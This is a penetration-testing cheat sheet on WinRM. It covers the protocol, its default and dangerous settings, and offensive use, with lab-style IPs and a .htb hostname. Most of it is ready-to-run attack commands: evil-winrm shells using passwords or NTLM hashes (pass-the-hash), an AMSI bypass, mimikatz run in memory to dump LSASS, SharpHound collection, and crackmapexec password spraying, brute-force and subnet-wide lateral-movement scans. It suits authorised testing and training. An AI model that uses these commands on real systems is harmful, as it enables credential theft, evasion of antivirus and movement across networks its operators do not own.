WinRM
WinRM (Windows Remote Management) is Microsoft’s HTTP/HTTPS-based protocol for remote administration of Windows hosts. It implements the WS-Management standard over SOAP. Ports: TCP 5985 (HTTP) and TCP 5986 (HTTPS). With valid credentials, WinRM is the smoothest credentialed-RCE primitive on Windows - evil-winrm gives you an interactive PowerShell session in one command, with built-in tooling for file transfer and AMSI bypass.
# 1. Service scannmap -sV -p5985,5986 <target>
# 2. Probe with Test-WsMan (from a Windows attack box)Test-WsMan -ComputerName <target>
# 3. Credentialed shell (Linux attack box)evil-winrm -i <target> -u <user> -p '<pass>'
# 4. Pass-the-hashevil-winrm -i <target> -u <user> -H <NT-hash>
# 5. HTTPS port if 5985 is firewalledevil-winrm -i <target> -u <user> -p '<pass>' -S -P 5986Success indicator: Test-WsMan returns ProductVersion + ProductVendor without error, OR evil-winrm drops to an interactive *Evil-WinRM* PS C:\Users\<user>\Documents> prompt.
Protocol overview
Section titled “Protocol overview”WinRM is Microsoft’s implementation of WS-Management - a SOAP-based standard for managing distributed systems. It rides on top of HTTP/HTTPS, which makes it firewall-friendly (just allow ports 5985/5986) and provides a familiar HTTP-layer auth and encryption stack.
| Port | Protocol | Transport encryption |
|---|---|---|
| TCP 5985 | HTTP | None at the HTTP level; WinRM negotiates AES-256 message-level encryption inside the HTTP stream after auth |
| TCP 5986 | HTTPS | TLS at the HTTP level (cert validation matters) |
Despite port 5985 being “HTTP” (no TLS), the actual WinRM payloads inside it are encrypted at the message level - so the conversation isn’t readable to passive sniffers as long as the negotiation succeeded. Port 5986 adds an additional outer TLS wrapper.
Authentication methods
Section titled “Authentication methods”| Method | Available on | Use case |
|---|---|---|
| Negotiate (NTLM/Kerberos) | Default for domain-joined Windows | Most common - your domain creds work transparently |
| Kerberos | Domain environments | Better than NTLM; required for double-hop scenarios |
| CredSSP | Optional, off by default | Allows credential delegation (the “second-hop” problem solved) |
| Basic | Optional, off by default | Username + password sent (base64-encoded) in the HTTP header. Requires HTTPS. |
| Certificate | Optional, off by default | Client cert + matching mapping on the server |
For an operator with username + NTLM hash, the typical path is Negotiate with NTLM - works without Kerberos infrastructure and without needing the password itself (just the hash).
Permission model
Section titled “Permission model”WinRM connections require:
- WinRM service running on the target (default off on workstations, default on on servers since 2012)
- The connecting account is in the Remote Management Users local group OR is a member of Administrators
- The WinRM listener configured to accept the appropriate auth method
- Firewall allows 5985/5986
The Remote Management Users group is the intended scope - admins who can manage but aren’t full local Administrators. In practice, in many environments, only Administrators have it, which means WinRM = local admin = credentials-to-SYSTEM is one mimikatz away.
Default configuration
Section titled “Default configuration”winrm get winrm/config shows the running configuration on a target Windows host. Operator-relevant defaults:
Config MaxEnvelopeSizekb = 500 MaxTimeoutms = 60000 MaxBatchItems = 32000 MaxProviderRequests = 4294967295 Client NetworkDelayms = 5000 URLPrefix = wsman AllowUnencrypted = false # blocks plaintext connections Auth Basic = true # client may use Basic auth Digest = true Kerberos = true Negotiate = true Certificate = true CredSSP = false # CredSSP delegation off by default DefaultPorts HTTP = 5985 HTTPS = 5986 TrustedHosts # empty by default - Kerberos required Service RootSDDL = O:NSG:BAD:P(A;;GA;;;BA)(A;;GR;;;IU)S:P(AU;FA;GA;;;WD)(AU;SA;GWGX;;;WD) MaxConcurrentOperations = 4294967295 MaxConcurrentOperationsPerUser = 1500 EnumerationTimeoutms = 240000 MaxConnections = 300 MaxPacketRetrievalTimeSeconds = 120 AllowUnencrypted = false # service refuses plaintext Auth Basic = false # server doesn't accept Basic by default Kerberos = true Negotiate = true Certificate = false CredSSP = false CbtHardeningLevel = Relaxed DefaultPorts HTTP = 5985 HTTPS = 5986 IPv4Filter = * IPv6Filter = * EnableCompatibilityHttpListener = false EnableCompatibilityHttpsListener = false CertificateThumbprint AllowRemoteAccess = trueWhat’s enabled by default vs not
Section titled “What’s enabled by default vs not”Service/AllowUnencrypted = false- server requires encryption (good)Service/Auth/Basic = false- server won’t accept Basic auth (good - Basic over HTTP is plaintext credentials)Service/Auth/Negotiate = true- NTLM and Kerberos accepted (default and expected)Service/Auth/CredSSP = false- no credential delegation (good)Client/AllowUnencrypted = false- client won’t send unencrypted (good)Client/TrustedHosts =(empty) - by default, clients require Kerberos (which requires the target to be in DNS and resolvable via SPN). For non-domain-joined clients connecting by IP, this needs to be loosened.
Dangerous settings
Section titled “Dangerous settings”| Setting | What it enables |
|---|---|
Service/Auth/Basic = true | Username/password sent in HTTP Basic auth header - base64, not encrypted. If AllowUnencrypted = true too, credentials in cleartext over the wire. |
Service/AllowUnencrypted = true | Negotiated AES-256 encryption can be bypassed - operator can sniff |
Service/Auth/CredSSP = true | Credential delegation enabled - compromise of one host can immediately reach others the user has authenticated to |
Wide RootSDDL ACL | The default grants Administrators full WinRM access; loosening it opens to lower-privilege users |
Wide IPv4Filter (*) without firewall | Anyone on the network can connect |
CertificateThumbprint = (empty) | Self-signed cert generated at first listener creation - clients can’t easily validate |
| WinRM enabled on workstations | Workstations don’t usually need to accept remote management, but admins sometimes enable it network-wide |
| WinRM listeners on multiple unrelated VLANs | Allows lateral movement across normally-isolated networks |
Footprinting commands
Section titled “Footprinting commands”Service scan
Section titled “Service scan”sudo nmap 10.129.14.128 -sV -p5985,5986PORT STATE SERVICE VERSION5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)The version banner is Microsoft HTTPAPI httpd 2.0 - that’s the kernel-mode HTTP listener (HTTP.sys) that hosts the WinRM endpoint. Same banner appears for WSUS and various other Microsoft web services on different ports, so the port number is the distinguishing data.
NSE script for HTTPS endpoint inspection:
nmap -p5986 --script ssl-cert,ssl-enum-ciphers 10.129.14.128This dumps the cert subject (often reveals the hostname) and the TLS cipher policy.
Test-WsMan probe
Section titled “Test-WsMan probe”If you have a Windows attack host:
Test-WsMan -ComputerName 10.129.14.128Successful response:
wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsdProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsdProductVendor : Microsoft CorporationProductVersion : OS: 10.0.17763 SP: 0.0 Stack: 3.0ProductVersion reveals OS version (10.0.17763 = Server 2019). The Test-WsMan command works pre-auth - it just probes whether the WinRM service is responding. Unsuccessful response is usually:
Test-WsMan : <The client cannot connect to the destination specified in the request...>Which means either: service down, firewall blocked, or the listener exists but only on a different transport/port than you tried.
Listing WinRM listeners
Section titled “Listing WinRM listeners”From an authenticated session, see what’s actually configured:
winrm enumerate winrm/config/listenerListener Address = * Transport = HTTP Port = 5985 Hostname Enabled = true URLPrefix = wsman CertificateThumbprint ListeningOn = 10.129.14.128, 127.0.0.1, ::1, fe80::e8a1:...
Listener Address = * Transport = HTTPS Port = 5986 Hostname = WIN-DC01.inlanefreight.htb Enabled = true URLPrefix = wsman CertificateThumbprint = 1234567890ABCDEF... ListeningOn = 10.129.14.128, 127.0.0.1, ::1, fe80::e8a1:...Useful for understanding why a probe might be failing - if the HTTPS listener binds only to a specific hostname, IP-based connection attempts get rejected at the listener layer.
Credentialed shell - evil-winrm
Section titled “Credentialed shell - evil-winrm”The defining WinRM tool. From a Linux attack box:
evil-winrm -i 10.129.14.128 -u Administrator -p 'P4ssw0rd!'Evil-WinRM shell v3.4
Info: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\Documents>You’re now in a remote PowerShell session as that user. Built-in commands within evil-winrm:
| Command | What it does |
|---|---|
upload <local> <remote> | Transfer file to target |
download <remote> <local> | Pull file from target |
services | List services |
menu | Show available evil-winrm functions |
Invoke-Binary <PATH> | Run a .NET binary loaded into memory (no disk write) |
Donut-Loader -process_id <pid> -dll_path <path> | Inject .NET assembly into existing process via Donut |
Bypass-4MSI | AMSI bypass (the in-process AV scan that catches mimikatz etc.) |
Dll-Loader -dll_path <path> | Load and execute a DLL in memory |
Common operator workflow inside evil-winrm:
*Evil-WinRM* PS C:\Users\Administrator\Documents> Bypass-4MSI*Evil-WinRM* PS C:\Users\Administrator\Documents> upload /home/op/SharpHound.exe*Evil-WinRM* PS C:\Users\Administrator\Documents> .\SharpHound.exe -c All*Evil-WinRM* PS C:\Users\Administrator\Documents> download ./<output-of-sharphound>.zipPass-the-hash with evil-winrm
Section titled “Pass-the-hash with evil-winrm”evil-winrm -i 10.129.14.128 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0Pass the NTLM hash directly with -H. No password needed. Works because WinRM’s NTLM auth path doesn’t actually need the plaintext password - the hash is what’s used to compute the challenge response anyway.
HTTPS connection
Section titled “HTTPS connection”evil-winrm -i 10.129.14.128 -u Administrator -p '<pass>' -S -P 5986-S enables SSL (HTTPS, port 5986 by default but -P overrides). Use this when port 5985 is firewalled - port 5986 is often allowed in environments that have hardened against WinRM-over-HTTP.
Native PowerShell remoting
Section titled “Native PowerShell remoting”From a Windows attack box (or pwsh on Linux):
$cred = Get-Credential # prompts for username + passwordEnter-PSSession -ComputerName 10.129.14.128 -Credential $cred
# Or with an explicit credential object$pw = ConvertTo-SecureString 'P4ssw0rd!' -AsPlainText -Force$cred = New-Object System.Management.Automation.PSCredential('Administrator', $pw)Enter-PSSession -ComputerName 10.129.14.128 -Credential $cred
# Run one command instead of entering a sessionInvoke-Command -ComputerName 10.129.14.128 -Credential $cred -ScriptBlock { whoami }For non-domain-joined client, you’ll need to set TrustedHosts first:
Set-Item WSMan:\localhost\Client\TrustedHosts -Value '10.129.14.128' -Forcecrackmapexec / netexec
Section titled “crackmapexec / netexec”# Test single credentialcrackmapexec winrm 10.129.14.128 -u Administrator -p 'P4ssw0rd!'
# Pass-the-hash testcrackmapexec winrm 10.129.14.128 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0
# Spray across many users with one passwordcrackmapexec winrm 10.129.14.128 -u users.txt -p 'Spring2024!'
# Spray across many hosts with one credential (lateral movement check)crackmapexec winrm 10.0.0.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0
# Execute a command without an interactive shellcrackmapexec winrm 10.129.14.128 -u Administrator -p '<pass>' -x 'whoami'The subnet form is the lateral-movement scan - for each cred you have, instantly map which other hosts in the network it works on.
Brute-force
Section titled “Brute-force”crackmapexec winrm 10.129.14.128 -u users.txt -p passwords.txtOr Hydra (less commonly used for WinRM but works):
hydra -L users.txt -P passwords.txt -m 'http-post-form-multipart' 10.129.14.128:5985Most WinRM brute-force happens via crackmapexec winrm - purpose-built, faster, and the output is easier to parse.
Common chained workflows
Section titled “Common chained workflows”SMB / SQL creds → WinRM lateral movement:
- Recovered creds via SMB or SQL enumeration (see SMB / MSSQL)
crackmapexec winrm subnet/24 -u user -p pass- see which hosts in the network the cred works onevil-winrminto the highest-value hit (DCs, file servers)
NTLM hash → PTH → WinRM shell:
- mimikatz/secretsdump from a previously-shelled host yields NTLM hashes
evil-winrm -u <user> -H <hash> -i <target>- no password needed- Interactive shell on the target without ever knowing the plaintext
WinRM shell → AMSI bypass → mimikatz → more hashes:
evil-winrminBypass-4MSIdefeats in-memory AV scanningInvoke-Binary mimikatz.exeloads mimikatz from your local path, runs in memory- Dump LSASS for cached creds - usually finds the next set of usernames/hashes to spray with
SharpHound collection over WinRM:
evil-winrmin as a domain userupload SharpHound.exe(or run in-memory via Invoke-Binary)- Collect AD data → BloodHound for graph analysis
- Identify attack paths from current creds to Domain Admin
Quick reference
Section titled “Quick reference”| Task | Command |
|---|---|
| Service scan | nmap -sV -p5985,5986 <target> |
| TLS cert / cipher | nmap -p5986 --script ssl-cert,ssl-enum-ciphers <target> |
| Test reachability | Test-WsMan -ComputerName <target> (Windows) |
| Interactive shell (password) | evil-winrm -i <target> -u <user> -p '<pass>' |
| Interactive shell (hash) | evil-winrm -i <target> -u <user> -H <NT-hash> |
| HTTPS variant | evil-winrm -i <target> -u <user> -p '<pass>' -S -P 5986 |
| Native PS remoting | Enter-PSSession -ComputerName <target> -Credential $cred |
| One-shot command | Invoke-Command -ComputerName <target> -Credential $cred -ScriptBlock { <cmd> } |
| Test creds | crackmapexec winrm <target> -u <user> -p '<pass>' |
| Pass-the-hash test | crackmapexec winrm <target> -u <user> -H <NT-hash> |
| Spray | crackmapexec winrm <target> -u users.txt -p '<pass>' |
| Subnet scan with cred | crackmapexec winrm 10.0.0.0/24 -u <user> -p '<pass>' |
| Exec command via cme | crackmapexec winrm <target> -u <user> -p '<pass>' -x '<cmd>' |
| Upload (in evil-winrm) | upload /local/path C:\\remote\\path |
| Download (in evil-winrm) | download C:\\remote\\path /local/path |
| AMSI bypass (evil-winrm) | Bypass-4MSI |